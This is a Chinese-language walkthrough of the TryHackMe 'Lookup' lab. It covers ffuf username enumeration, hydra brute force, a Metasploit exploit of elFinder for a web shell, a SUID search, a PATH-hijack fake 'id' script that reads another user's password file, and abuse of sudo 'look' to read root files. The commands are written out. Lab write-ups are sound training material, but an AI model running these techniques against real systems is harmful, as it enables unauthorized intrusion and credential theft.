Lookup | TryHackMe
Lookup
拿到 IP 后进行端口扫描,发现只有 80 和 22 端口开放
然后到 80 端口查看,发现跳转到 lookup.thm,那么就需要到/etc/hosts 文件中配置一下
然后访问,发现是一个登录页面使用 ffuf 测试一下,能不能爆破
ffuf -w /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -X POST -u http://lookup.thm/login.php -d "username=FUZZ&password=" -H "Content-Type: application/x-www-form-urlencoded"
然后发现大量的 size74,中间有一个 admin 是 62,那么过滤一下 size74 的
ffuf -w /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -X POST -u http://lookup.thm/login.php -d "username=FUZZ&password=tree" -H "Content-Type: application/x-www-form-urlencoded" -fs 74
找到 admin 和 jose 两个用户名,之后使用 hydra 进行爆破
爆破出密码是
password123
然后去登录发现还是提示密码和账户错误,这时候把账户换成 jose 就可以登录进去了,发现一个子域名 files.lookup.thm,把这个也添加到 hosts 文件中访问,发现是一个 elFinder
查找到版本,发现存在漏洞,使用 msfconsole
然后填写好 options,run 一下就可以拿到 shell 了
设置的 RHOSTS 是 files.lookup.thm
然后拿到 www-data 的 shell
find / -perm -4000 -type f 2>/dev/null
查找 suid 文件
这里可以看到一个 /usr/sbin/pwm
的文件比较特殊
运行一下,发现使用了 id,然后读取.password 文件
然后就是使用 ls 命令在/home 下的用户中查看,发现 think 用户下有这个.password 文件,就是需要 id 的结果显示是 think 的身份就可以了
echo -e '#!/bin/bash\necho "uid=1000(think) gid=1000(think) groups=1000(think)"' > /tmp/idexport PATH=/tmp:$PATH
然后再运行/usr/sbin/pwm 就可以查看到.password 文件了,这是一个字典,复制其中内容,然后 hydra 爆破.得到 think 的密码,就可以 ssh 登录,获取 user.txt 文件,拿到第一个 flag 了
进入 think 的 shell 中,使用 sudo -l 查看 sudo 的权限,发现可以使用 look 命令,这个可以读取到文件,然后猜测 root 的 flag 是 root.txt,就拿到根 flag 了